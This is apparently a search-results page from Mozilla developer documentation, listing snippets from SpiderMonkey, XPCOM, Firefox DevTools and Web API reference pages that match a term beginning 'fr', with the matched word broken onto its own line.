from any prototype, and at time t1 an object y has shape s and rt->protohazardshape is z, and no shape-regenerating gc occurred, then y does not inherit a jsprop_shared or jsprop_readonly property named n
from any prototype.
... the shape of an object does not cover: anything about the object's prototype other than its identity; anything about the object's parent; obj->
freeslot, which can be different for same-shaped objects if they have a jsclass.reserveslots hook (bug 535416); anything about the values of the object's own properties, beyond what the method guarantee and the branded object guarantee say about functions.
...And 3 more matches
JS::CallArgs
syntax js::callargs js::callargs
fromvp(unsigned argc, js::value *vp); name type description args unsigned number of argument.
... methods inherited
from js::callargsbase method description unsigned length() const returns the number of arguments..
... methods inherited
from js::detail::callreceiverbase method description jsobject &callee() const returns the function being called, as an object.
...And 3 more matches
JS_DeleteElement
removes a specified element or numeric property
from an object.
... syntax bool js_deleteelement(jscontext *cx, js::handleobject obj, uint32_t index); // added in spidermonkey 45 bool js_deleteelement(jscontext *cx, js::handleobject obj, uint32_t index, js::objectopresult &result); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
... obj js::handleobject object
from which to delete an element.
...And 3 more matches
JS_DeleteProperty
removes a specified property
from an object.
...jectopresult &result); bool js_deletepropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, js::objectopresult &result); bool js_deleteucproperty(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, js::objectopresult &result); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
... obj js::handleobject object
from which to delete a property.
...And 3 more matches
JS_Remove*Root
vp jsval * address of the jsval variable to remove
from the root set.
... spp jsstring * address of the jsstring* variable to remove
from the root set.
... opp jsobject * address of the jsobject* variable to remove
from the root set.
...And 3 more matches
Setting up CDT to work on SpiderMonkey
luckily, improvements in cdt have reduced the basic process to manageable five steps: download and extract "eclipse ide for c/c++ developers"
from the eclipse downloads page.
... select "new > makefile project with existing code"
from the "file" menu.
... under "behavior", make sure that "enable parallel build" is deactivated, as cdt’s indexer will
freak out otherwise.
...And 3 more matches
Split object
there is a glaring difference in the lifetime of the window object as seen
from two different angles.
...the window object for tab tb must persist as the user navigates
from page to page in that tab.
... to the script in page a, the window must appear to be a single object that moves
from page to page.
...And 3 more matches
Gecko events
is supported: yes event_selection_remove an item within a container object has been removed
from the selection.
... is supported: yes event_menu_end a menu
from the menu bar has been closed.
...event_text_column_changed the caret moved
from one column to the next.
...And 3 more matches
XPCOM changes in Gecko 2.0
no more
frozen interfaces there are no longer any
frozen interfaces;
from now on, all interfaces are subject to change.
... documentation will be updated as time allows to remove references to interfaces being "
frozen" or "un
frozen." component registration the way xpcom components are registered changed in gecko 2.
...if you used xpcomutils.jsm, some of this was hidden
from you, but it was still there.
...And 3 more matches
Preface
by the end of the book, if we've done our job, you will have learned how to build a component and you will know something about the
framework for these components in gecko, which is xpcom.
...though you can create xpcom components in javascript and other languages, and though you might be able to follow along as a c programmer, the component implementation code is written in c++, and much of the discussion of how to make your codeinto an xpcom component starts
from c++.
...if you already have a mozilla build or the source
from mozilla 1.2 or later, then you can use the xpcom
framework available there.
...And 3 more matches
Interfacing with the XPCOM cycle collector
this is the idle stage of the collector's operation, in which special variants of nsautorefcnt register and unregister themselves very rapidly with the collector, as they pass through a "suspicious" refcount event (
from n+1 to n, for nonzero n).
...this way the collector builds a picture of the ownership subgraph reachable
from suspicious objects.
... if the collector finds a group of objects that all refer back to one another, and establishes that the objects' reference counts are all accounted for by internal pointers within the group, it considers that group cyclical garbage, which it then attempts to
free.
...And 3 more matches
IAccessible2
1.0 66 introduced gecko 1.9 inherits
from: iaccessible last changed in gecko 1.9 (firefox 3) method overview [propget] hresult attributes([out] bstr attributes ); [propget] hresult extendedrole([out] bstr extendedrole ); [propget] hresult extendedstates([in] long maxextendedstates, [out, size_is(,maxextendedstates), length_is(, nextendedstates)] bstr extendedstates, [out] long nextendedstates ); [propget] hresult groupposition([out] long grouplevel, [out] long similaritemsingroup, [out] long positioningroup ); [propget] hresult indexinparent([out] long indexinparent ); [propget] hresult locale([out] ia2locale locale ); [propget] hresult localizedextendedrole...
...
free it with cotaskmem
free.
...
free it with cotaskmem
free.
...And 3 more matches
imgIDecoder
modules/libpr0n/public/imgidecoder.idlscriptable base class for a decoder that reads an image
from an input stream and sends it to an imgiloader object.
... inherits
from: nsisupports last changed in gecko 1.7 this interface is the base class for decoders for specific image formats.
... method overview void close(); void flush(); void init(in imgiload aload); unsigned long write
from(in nsiinputstream instr, in unsigned long count); methods close() closes the stream.
...And 3 more matches
mozIJSSubScriptLoader
js/xpconnect/idl/mozijssubscriptloader.idlscriptable this interface can be used
from privileged javascript to load and run javascript code
from the given url at runtime.
... 66 introduced gecko 1.0 inherits
from: nsisupports last changed in gecko 28 (firefox 28 / thunderbird 28 / seamonkey 2.25 / firefox os 1.3) implemented by: @mozilla.org/moz/jssubscript-loader;1.
... method overview jsval loadsubscript(in string url, in object targetobj optional, in string charset optional); jsval loadsubscriptwithoptions(in string url, in object options); methods loadsubscript() synchronously loads and executes the script
from the specified url.
...And 3 more matches
mozIPersonalDictionary
1.0 66 introduced gecko 1.4.1 inherits
from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/spellchecker/personaldictionary;1.
...removecorrection() removes a misspelling
from the list of corrections.
... this removes a single misspelling and correction pair
from the list.
...And 3 more matches
mozIStorageAggregateFunction
an aggregate function is a function that returns one value
from a series of values.
... last changed in gecko 1.9 (firefox 3) inherits
from: nsisupports method overview void onstep(in mozistoragevaluearray afunctionarguments); nsivariant onfinal(); methods onstep() this is called for each row of results returned by the query.
...if you use mozistorageconnection.executeasync() or, mozistoragestatement.executeasync() this callback will run on a different thread
from the rest of your code.
...And 3 more matches
mozIStorageService
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) see mozistorageconnection method overview nsifile backupdatabasefile(in nsifile adbfile, in astring abackupfilename, [optional] in nsifile abackupparentdirectory); mozistorageconnection opendatabase(in nsifile adatabasefile); mozistorageconnection openspecialdatabase(in string astoragekey); mozistorageconnection openunshareddatabase(in nsifile adatabasefile); meth...
...the actual backup file is returned, and the resulting filename can be obtained
from that.
...you must use it only
from the thread you created it
from.
...And 3 more matches
nsIAbCard
inherits
from: nsisupports method overview astring getcardvalue(in string name) void setcardvalue(in string attrname, in astring value) void copy(in nsiabcard srccard) boolean equals(in nsiabcard card) string converttobase64encodedxml() astring converttoxmlprintdata() string converttoescapedvcard() astring generatename(in long agenerat...
... allowremotecontent boolean allow remote content to be displayed in html mail received
from this contact methods getcardvalue() astring getcardvalue(in string name) parameters name the attribute you want the value for.
... copy() this function will copy all values
from one card to another.
...And 3 more matches
nsIAccessibleRetrieval
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsiaccessible getaccessiblefor(in nsidomnode anode); nsiaccessible getaccessibleinshell(in nsidomnode anode, in nsipresshell apresshell); nsiaccessible getaccessibleinweakshell(in nsidomnode anode, in nsiweakreference apresshell); obsolete since gecko 2.0 nsiaccessible getaccessibleinwindow(in nsidomnode anode, in nsidomwindow adomwin); obsolete since gecko 2.0 nsiaccessible getapplicationaccessible(); nsiaccessible getattachedaccessible...
...create a new accessible of the appropriate type if necessary, or use one
from the accessibility cache if it already exists.
...create a new accessible of the appropriate type if necessary, or use one
from the accessibility cache if it already exists.
...And 3 more matches
nsIBrowserSearchService
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/browser/search-service;1.
... if you need to write code that is executed during startup and makes use of nsibrowsersearchservice, you should make sure that this code is executed
from the callback to init().
...this differs
from the "defaultengine" attribute in that it always returns a given build's default engine, regardless of whether it is hidden.
...And 3 more matches
nsIContentPrefService2
dom/interfaces/base/nsicontentprefservice2.idlscriptable asynchronous api for content preferences 1.0 66 introduced gecko 20.0 inherits
from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) description content preferences allow the application to associate arbitrary data, or "preferences", with specific domains, or web "content".
...in the latter case the api extracts the full domain
from the url, so if you specify "http://foo.bar.example.com/baz", the domain is taken to be "foo.bar.example.com", not "example.com".
...a context can be obtained
from the window or channel whose content pertains to the preferences being modified or retrieved.
...And 3 more matches
nsIContentViewManager
content/base/public/nsi
frameloader.idlscriptable manages the content views contained in a browser 1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to obtain a reference to the view manager for a document, you can queryinterface() the nsi
frameloader object to nsicontentviewmanager.
...this lets you, for example, take the coordinates at which the user clicked (or touched) the screen, and expand outward to create a rectangle
from that point.
... atopsize the distance upward
from the y anchor to expand the rectangle.
...And 3 more matches
nsIDOMFontFace
1.0 66 introduced gecko 7.0 inherits
from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) this object describes a single font.
... attribute type description
fromfontgroup boolean indicates whether or not the font was located in a font group.
...
fromlanguageprefs boolean indicates whether or not the font was located using language preferences.
...And 3 more matches
nsIDOMOfflineResourceList
it includes methods for adding resources to and removing resources
from the cache, as well as for enumerating the dynamically managed resource list.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits
from: nsisupports method overview void mozadd(in domstring uri); boolean mozhasitem(in domstring uri); domstring mozitem(in unsigned long index); void mozremove(in domstring uri); void swapcache(); void update(); attributes attribute type description mozitems nsidomofflineresourcelist the list of dynamically-managed entries in the offline resource list.
... mozremove() removes an item
from the list of dynamically managed entries.
...And 3 more matches
nsIEffectiveTLDService
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/effective-tld-service;1.
... method overview acstring getbasedomain(in nsiuri auri, [optional] in pruint32 aadditionalparts); acstring getbasedomain
fromhost(in autf8string ahost, [optional] in pruint32 aadditionalparts); acstring getpublicsuffix(in nsiuri auri); acstring getpublicsuffix
fromhost(in autf8string ahost); methods getbasedomain() returns the base domain of a uri; that is, the public suffix with a given number of additional domain name parts.
... getbasedomain
fromhost() returns the base domain of a host string.
...And 3 more matches
nsIFeedProcessor
1.0 66 introduced gecko 1.8.1 inherits
from: nsistreamlistener last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) implemented by: @mozilla.org/feed-processor;1.
... to create an instance, use: var feedprocessor = components.classes["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor); method overview void parseasync(in nsirequestobserver requestobserver, in nsiuri uri); void parse
fromstream(in nsiinputstream stream, in nsiuri uri); void parse
fromstring(in astring str, in nsiuri uri); attributes attribute type description listener nsifeedresultlistener the feed result listener that will respond to feed events.
... parse
fromstream() parses a feed
from an nsiinputstream.
...And 3 more matches
nsIFeedTextConstruct
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) implemented by: @mozilla.org/feed-textconstruct;1, but users usually don't need to create instances of this directly.
... method overview nsidomdocument
fragment createdocument
fragment(in nsidomelement element); astring plaintext(); attributes attribute type description base nsiuri if the text construct contains html or xhtml, relative references in the content should be resolved against this base uri.
... methods createdocument
fragment() creates a new document
fragment on a given dom element, containing the text and (if the text construct contains html or xhtml) its markup.
...And 3 more matches
nsIFormHistory2
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note: this interface provides no means to access stored values.
...method overview void addentry(in astring name, in astring value); boolean entryexists(in astring name, in astring value); boolean nameexists(in astring name); void removeallentries(); void removeentriesbytime
frame(in long long abegintime, in long long aendtime); void removeentriesforname(in astring name); void removeentry(in astring name, in astring value); attributes attribute type description dbconnection mozistorageconnection returns the underlying db connection the form history module is using.
...removeentriesbytime
frame() removes entries that were created between the specified times.
...And 3 more matches
nsILoginManagerStorage
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for example, if you wish to provide operating system integration with a native password manager system, implementing and registering a storage module for the login manager is how you do it.
...void initwithfile( in nsifile ainputfile, in nsifile aoutputfile ); parameters ainputfile the file
from which to read stored logins.
...if newlogindata is specified as an nsilogininfo object, all of the old login's properties are changed to the values
from the newlogindata parameter.
...And 3 more matches
nsIMsgDBView
inherits
from: nsisupports implemented by: @mozilla.org/messenger/msgdbview;1.
... void loadmessagebyviewindex(in nsmsgviewindex aindex); void loadmessagebyurl(in string aurl); void reloadmessage(); void reloadmessagewithallparts(); void selectmsgbykey(in nsmsgkey key); void selectfoldermsgbykey(in nsimsgfolder afolder, in nsmsgkey akey); void ondeletecompleted(in boolean succeeded); nsmsgviewindex findindex
fromkey(in nsmsgkey amsgkey, in boolean aexpand); void expandandselectthreadbyindex(in nsmsgviewindex aindex, in boolean aaugment); void addcolumnhandler(in astring acolumn, in nsimsgcustomcolumnhandler ahandler); void removecolumnhandler(in astring acolumn); nsimsgcustomcolumnhandler getcolumnhandler(in astring acolumn); attributes attribute t...
... wrap whether to wrap around messages
from the last to first (or vice versa).
...And 3 more matches
nsIMsgIncomingServer
inherits
from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void clearallvalues(); void cleartemporaryreturnreceiptsfilter(); void closecachedconnections(); void configuretemporaryfilters(in nsimsgfilterlist filterlist); void configuretemporaryreturnreceiptsfilter(in nsimsgfilterlist filterlist); obsolete since gecko 1.8 void displayofflinemsg(in nsimsgwindow awindow); boolean equals(in nsimsgincomingserver server); void forgetpassword(); void forgetsessionpassword(); astring generateprettynameformigration(); boolean getboolattribute(in string name); boolean getboolvalue(in s...
...tring attr); acstring getcharattribute(in string name); acstring getcharvalue(in string attr); nsilocalfile getfilevalue(in string relpref, in string abspref); nsimsgfilterlist getfilterlist(in nsimsgwindow amsgwindow); long getintattribute(in string name); long getintvalue(in string attr); nsimsgfolder getmsgfolder
fromuri(in nsimsgfolder afolderresource, in acstring auri); void getnewmessages(in nsimsgfolder afolder, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener); acstring getpasswordwithui(in astring apromptstring, in astring aprompttitle, in nsimsgwindow amsgwindow, out boolean okayvalue); astring getunicharattribute(in string name); astring getunicharvalue(in string attr); boolean isnewhdrduplicate(in nsimsgdbhdr anewhdr); void onuserorhostnamecha...
... cancreatefoldersonserver boolean candelete boolean can this server be removed
from the account manager?
...And 3 more matches
nsINavHistoryObserver
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 21.0 (firefox 21.0 / thunderbird 21.0 / seamonkey 2.18) warning: if you are in the middle of a batch transaction, there may be a database transaction active.
...notes the removepagesbyhost() and removepagesbytime
frame() functions call beginupdatebatch() and endupdatebatch() rather than onclearhistory() or ondeleteuri().
...it's possible for a history entry to be deleted even though it has no visits if something is out of sync after a bookmark with no visits is deleted; this results in the entire history entry being
freed).
...And 3 more matches
nsIProtocolProxyService
inherits
from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/network/protocol-proxy-service;1.
... if the protocol handler for the given uri supports nsiproxiedprotocolhandler, then the nsiproxyinfo instance returned
from resolve may be passed to the nsiproxiedprotocolhandler.newproxiedchannel() method to create a nsichannel to the given uri that uses the specified proxy.
... newproxyinfo() this method may be called to construct a nsiproxyinfo instance
from the given parameters.
...And 3 more matches
nsIStructuredCloneContainer
1.0 66 introduced gecko 6.0 inherits
from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) you can copy an object into an nsistructuredclonecontainer using init
fromvariant() or init
frombase64().
...method overview nsivariant deserializetovariant(); astring getdataasbase64(); void init
frombase64(in astring adata,in unsigned long aformatversion); void init
fromvariant(in nsivariant adata); attributes attribute type description formatversion unsigned long get the version of the structured clone algorithm which was used to generate this container's serialized buffer.
...init
frombase64() initialize this structured clone container
from a base-64-encoded byte stream.
...And 3 more matches
nsIXULRuntime
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/xre/app-info;1.
... browsertabsremoteautostart boolean if true, browser tabs may be opened by default in a different process
from the main browser ui.
...if a component encounters startup errors that might prevent the app
from showing proper ui, it should set this flag to true.
...And 3 more matches
nsIXmlRpcClient
warning: this interface was removed
from firefox 3 and is no longer available.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits
from: nsisupports method overview void init(in string serverurl); void setauthentication(in string username, in string password); void clearauthentication(in string username, in string password); void setencoding(in string encoding); void setencoding(in unsigned long type, out nsiidref uuid, out nsqiresult result); void asynccall (in nsixmlrpcclientlistener listener, in nsisupports ctxt, in string methodname, in nsisupports arguments, in pruint32 count); attributes attribute type description serverurl readonly nsiurl the url of the xml-rpc server inprogress readonly boolean whether or not...
... a call is in progress fault readonly nsixmlrpcfault the most recent xml-rpc fault
from returned
from this server.
...And 3 more matches
nsIZipReader
inherits
from: nsisupports last changed in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) implemented by: @mozilla.org/libjar/zip-reader;1.
...if you show filenames
from the findentries() result in the user interface, the character matching is only fine on utf-8 zip archives.
...subsequent attempts to extract() files or read
from its input stream will result in an error.
...And 3 more matches
Setting HTTP request headers
you can add your own http headers to any request the application makes, whether the request is initiated by your code explicitly opening an http channel, because of xmlhttprequest activity, an <img> element in content, or even
from css.
... note: if you are making up your own http header, you must put a x- in
front of the name.
... (in our example, our made up http header is x-hello and not hello because we correctly added the x- in
front of our name.) no longer the case: http://tools.ietf.org/html/rfc6648 notifications the question that may be coming to your mind right now is, how do you get the nsihttpchannel when an http request is made.
...And 3 more matches
Reference Manual
you can construct an nscomptr
from, or assign into it any of the following the value 0 another nscomptr of the same type a raw xpcom interface pointer of the same type a raw xpcom interface pointer of the same type, annotated with the dont_queryinterface directive a raw xpcom interface pointer of the same type, annotated with the dont_addref directive or a synonym any interface pointer (either nscomptr or a raw xpco...
...getter_addrefs packages up all the magic we normally get
from nscomptrs constructors and assignment operators.
...performance concerns should not deter you
from using nscomptr.
...And 3 more matches
XPIDL Syntax
a `%{' that appears at the beginning of a line is the start of a raw code
fragment, which extends until the end of a line that begins with `%}'.
... text inside raw code
fragments are not otherwise parsed by xpidl directly.
... this may be followed by the language, as in `%{c++', to output the raw
fragment only in the specified language.
...And 3 more matches
XUL Overlays
so, in order to avoid unpredicted behaviors you will probably benefit
from using a unique prefix for the ids of the xul elements of your extension.
...when a component such as the "super stream player"
from the examples above is registered there, overlays associated with that component are loaded automatically.
...todo: elaborate overlays and skins warning: always load master skins
from base files.
...And 3 more matches
nsIMsgCloudFileProvider
inherits
from: nsisupports method overview void init(in string aaccountkey); void uploadfile(in nsilocalfile afile, in nsirequestobserver acallback); acstring urlforfile(in nsilocalfile afile); void cancelfileupload(in nsilocalfile afile); void re
freshuserinfo(in boolean awithui, in nsirequestobserver acallback); void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); void createnewaccount(in acstring aemailaddress, in acstring apassword, in acstring afirstname, in acstring alastname, in nsirequestobserver acallback); void createexistingaccount(in nsi...
... lasterror acstring readonly: the last error message received
from the server.
... re
freshuserinfo() re
freshes the data for this user account - for example, the storage quota, or the amount of storage being used.
...And 3 more matches
Mail and RDF
it was imported
from mozilla.org and last updated in 1999.
...
from this resource, you can follow a number of arcs to find servers, folders, and finally messages.
...all rdf properties of a message currently come
from the database that backs the containing folder.
...And 3 more matches
Zombie compartments
roughly speaking, all memory used by javascript code that is
from a particular origin (i.e.
.../www.google.de/?gws_rd=ssl) │ │ │ ├──4.23 mb (00.85%) -- layout │ │ │ │ ├──3.80 mb (00.76%) ── style-sets │ │ │ │ ├──0.29 mb (00.06%) ── pres-shell │ │ │ │ ├──0.05 mb (00.01%) ── rule-nodes │ │ │ │ ├──0.04 mb (00.01%) ── style-contexts │ │ │ │ ├──0.03 mb (00.01%) --
frames │ │ │ │ │ ├──0.02 mb (00.00%) ── sundries │ │ │ │ │ └──0.01 mb (00.00%) ── nsblock
frame │ │ │ │ ├──0.01 mb (00.00%) ── pres-contexts │ │ │ │ ├──0.01 mb (00.00%) ── line-boxes │ │ │ │ └──0.00 mb (00.00%) ── text-runs │ │ │ ├──3.78 mb (00.76%) ++ js-comp...
... │ │ ├──1.24 mb (00.25%) ── type-pool │ │ ├──1.07 mb (00.21%) -- type-objects │ │ │ ├──1.04 mb (00.21%) ── gc-heap │ │ │ └──0.03 mb (00.01%) ── malloc-heap │ │ ├──0.23 mb (00.05%) ++ strings │ │ └──0.18 mb (00.04%) ── gc-heap-arena-admin the first line says that the window
from www.google.de is taking up 28.45 mb and futher breaks it down into zones, compartments, dom etc.
...And 3 more matches
ctypes.open
int add(int a, int b) { return a + b; } to make this a shared library, a native file which can be loaded and used
from js-ctypes, compile it with these commands: gcc -fpic -c mycfuntionsforunix.c gcc -shared -o mycfuntionsforunix.so mycfuntionsforunix.o a file named mycfuntionsforunix.so is successfully created.
... this native file can be placed in any folder of an addon and then loaded
from js-ctypes.
... they can also be loaded
from the system library path.
...And 3 more matches
Debugger.Environment - Firefox Developer Tools
each debugger.
frame instance representing a debuggee
frame has an associated environment object describing the variables in scope in that
frame; and each debugger.object instance representing a debuggee function has an environment object representing the environment the function has closed over.
... spidermonkey creates debugger.environment instances as needed as the debugger inspects stack
frames and function objects; calling debugger.environment as a function or constructor raises a typeerror exception.
... debugger.environment instances protect their referents
from the garbage collector; as long as the debugger.environment instance is live, the referent remains live.
...And 3 more matches
Debugger.Memory - Firefox Developer Tools
accessor properties of the debugger.memory.prototype object ifdbg is a debugger instance, then <i>dbg</i>.memory is a debugger.memory instance, which inherits the following accessor properties
from its prototype: trackingallocationsites a boolean value indicating whether this debugger.memory instance is capturing the javascript execution stack when each object is allocated.
... “shared_memory_limit” “periodic_full_gc” “incremental_too_slow” “dom_window_utils” “component_utils” “mem_pressure” “cc_waiting” “cc_forced” “load_end” “page_hide” “nsjscontext_destroy” “set_new_document” “set_doc_shell” “dom_utils” “dom_ipc” “dom_worker” “inter_slice_gc” “re
fresh_
frame” “full_gc_timer” “shutdown_cc” “user_inactive” nonincrementalreason if spidermonkey’s collector determined it could not incrementally collect garbage, and had to do a full gc all at once, this is a short string describing the reason it determined the full gc was necessary.
... this section covers some areas where firefox’s actual behavior deviates
from what one might expect
from the specified behavior of the web platform.
...And 3 more matches
Tutorial: Set a breakpoint - Firefox Developer Tools
reportdo.script.setbreakpoint(0, { hit: function (
frame) { console.log('hit breakpoint in ' +
frame.callee.name); console.log('what = ' +
frame.eval('what').return); } }); console.log('finished setting breakpoint!'); in the scratchpad, ensure that no text is selected, and press the “run” button.
...when control reaches the start of the report function, debugger calls the breakpoint handler’s hit method, passing a debugger.
frame instance.
...then it evaluates the expression what in the given stack
frame, and logs its result.
...And 3 more matches
All keyboard shortcuts - Firefox Developer Tools
in a separate window and not in foreground) ctrl + shift + i or f12 cmd + opt + i or f12 ctrl + shift + i or f12 close toolbox (if the toolbox is in a separate window and in foreground) ctrl + shift + i or f12 cmd + opt + i or f12 ctrl + shift + i or f12 open web console 1 ctrl + shift + k cmd + opt + k ctrl + shift + k toggle "pick an element
from the page" (opens the toolbox and/or focus the inspector tab) ctrl + shift + c cmd + opt + c ctrl + shift + c open style editor shift + f7 shift + f7 * shift + f7 open profiler shift + f5 shift + f5 * shift + f5 open network monitor 2 ctrl + shift + e cmd + opt + e ctrl + shift + e toggle responsive design mode ctrl + shi...
...
from firefox 33 onwards, the key binding preference is exposed in the editor preferences section of the developer tools settings, and you can set it there instead of about:config.
...ift + page up decrement selected value by 100 shift + page down shift + page down shift + page down increment selected value by 10 shift + up arrow shift + up arrow shift + up arrow decrement selected value by 10 shift + down arrow shift + down arrow shift + down arrow increment selected value by 0.1 alt + up arrow (ctrl + up arrow
from firefox 60 onwards.) alt + up arrow alt + up arrow (ctrl + up arrow
from firefox 60 onwards.) decrement selected value by 0.1 alt + down arrow (ctrl + down arrow
from firefox 60 onwards).
...And 3 more matches
Dominators - Firefox Developer Tools
these concepts matter in memory analysis, because often an object may itself be small, but may hold references to other much larger objects, and by doing this will prevent the garbage collector
from
freeing that extra memory.
...they can just create and use objects, and when the objects are no longer needed, the runtime takes care of cleaning up, and
frees the memory the objects occupied.
...each node in the graph represents an object, and each connection between nodes (edge) represents a reference
from one object to another.
...And 3 more matches
Call Tree - Firefox Developer Tools
this comes
from the captured stacks where this function is the leafmost function.
... self cost is calculated
from self time as a percentage of the total number of samples in the selected portion of the recording.
... walking up the call tree next to each function name is a disclosure arrow: click that, and you can see the path back up the call tree,
from the function in which the sample was taken, to the root.
...And 3 more matches
Flame Chart - Firefox Developer Tools
this gives you a way to know exactly which function was executing at any point during the recording, how long it ran for, and where it was called
from.
...the screenshot above covers the period
from 1435ms to a little past 1465ms.
... this gives you a way to know exactly which function was executing at any point during the recording, how long it ran for, and where it was called
from.
...And 3 more matches
about:debugging (before Firefox 68) - Firefox Developer Tools
the about:debugging page provides a single place
from which you can attach the firefox developer tools to a number of debugging targets.
... this page enables you to do two things: load an add-on temporarily
from disk connect the add-on debugger to any restartless add-ons connecting the add-on debugger the add-ons page in about:debugging lists all restartless add-ons that are currently installed (note that this list may include add-ons that came preinstalled with your firefox).
... loading a temporary add-on with the "load temporary add-on" button you can load any sort of restartless add-on temporarily,
from a directory on disk.
...And 3 more matches
AbsoluteOrientationSensor - Web APIs
properties no specific properties; inherits methods
from its ancestors orientationsensor and sensor.
... event handlers no specific event handlers; inherits methods
from its ancestor, sensor.
... methods no specific methods; inherits methods
from its ancestors orientationsensor and sensor.
...And 3 more matches
AudioContext.createMediaStreamTrackSource() - Web APIs
the createmediastreamtracksource() method of the audiocontext interface creates and returns a mediastreamtrackaudiosourcenode which represents an audio source whose data comes
from the specified mediastreamtrack.
... this differs
from createmediastreamsource(), which creates a mediastreamaudiosourcenode whose audio comes
from the audio track in a specified mediastream whose id is first, lexicographically (alphabetically).
...once that access is attained, an audio context is established and a mediastreamtrackaudiosourcenode is created using createmediastreamtracksource(), taking its audio
from the first audio track in the stream returned by getusermedia().
...And 3 more matches
AudioContext - Web APIs
the audiocontext interface represents an audio-processing graph built
from audio modules linked together, each represented by an audionode.
... properties also inherits properties
from its parent interface, baseaudiocontext.
... audiocontext.baselatency read only returns the number of seconds of processing latency incurred by the audiocontext passing the audio
from the audiodestinationnode to the audio subsystem.
...And 3 more matches
AudioListener.setOrientation() - Web APIs
it consists of two direction vectors: the
front vector, defined by the three unitless parameters x, y and z, describes the direction of the face of the listener, that is the direction the nose of the person is pointing towards.
... the
front vector's default value is (0, 0, -1).
...you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
...And 3 more matches
Blob - Web APIs
using blobs to construct a blob
from other non-blob objects and data, use the blob() constructor.
... examples creating a blob the blob() constructor can create blobs
from other objects.
... for example, to construct a blob
from a json string: const obj = {hello: 'world'}; const blob = new blob([json.stringify(obj, null, 2)], {type : 'application/json'}); creating a url representing the contents of a typed array the following code creates a javascript typed array and creates a new blob containing the typed array's data.
...And 3 more matches
CSSPrimitiveValue - Web APIs
the cssprimitivevalue interface derives
from the cssvalue interface and represents the current computed value of a css property.
...an instance of this interface might be obtained
from the getpropertycssvalue() method of the cssstyledeclaration interface.
... conversions are allowed between absolute values (
from millimeters to centimeters,
from degrees to radians, and so on) but not between relative values.
...And 3 more matches
Using the CSS Painting API - Web APIs
fillrect(0, 15, 200, 20) results in the creation of a rectangle that is 200 units wide by 20 units tall, positioned 0 units
from the left and 15 units
from the top of the content box.
...we need to register that worklet
from our main script.
... css.paintworklet.addmodule('nameofpaintworkletfile.js'); this can be done using the paint worklet's addmodule() method in a <script> within the main html or in an external javascript file linked to
from the document.
...And 3 more matches
CanvasRenderingContext2D.putImageData() - Web APIs
the canvasrenderingcontext2d.putimagedata() method of the canvas 2d api paints data
from the given imagedata object onto the canvas.
... if a dirty rectangle is provided, only the pixels
from that rectangle are painted.
... note: image data can be retrieved
from a canvas using the getimagedata() method.
...And 3 more matches
CharacterData - Web APIs
a" target="_top"><rect x="266" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">characterdata</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, node, and implements the childnode and nondocumenttypechildnode interface.
... methods inherits methods
from its parent, node, and implements the childnode and nondocumenttypechildnode interface.
... characterdata.deletedata() removes the specified amount of characters, starting at the specified offset,
from the characterdata.data string; when this method returns, data contains the shortened domstring.
...And 3 more matches
CustomEvent - Web APIs
this interface inherits properties
from its parent, event: event.bubbles read only a boolean indicating whether or not the event bubbles up through the dom.
...setting its value to true before returning
from an event handler prevents propagation of the event.
... event.srcelement a non-standard alias (
from old versions of microsoft internet explorer) for event.target.
...And 3 more matches
DeviceOrientationEvent - Web APIs
the deviceorientationevent provides web developers with information
from the physical orientation of the device running the web page.
... deviceorientationevent.alpha read only a number representing the motion of the device around the z axis, express in degrees with values ranging
from 0 to 360.
... deviceorientationevent.beta read only a number representing the motion of the device around the x axis, express in degrees with values ranging
from -180 to 180.
...And 3 more matches
Document.execCommand() - Web APIs
clearauthenticationcache clears all authentication credentials
from the cache.
...conditions of having this behavior enabled vary
from one browser to another, and have evolved over time.
... createlink creates an hyperlink
from the selection, but only if there is a selection.
...And 3 more matches
Element.innerHTML - Web APIs
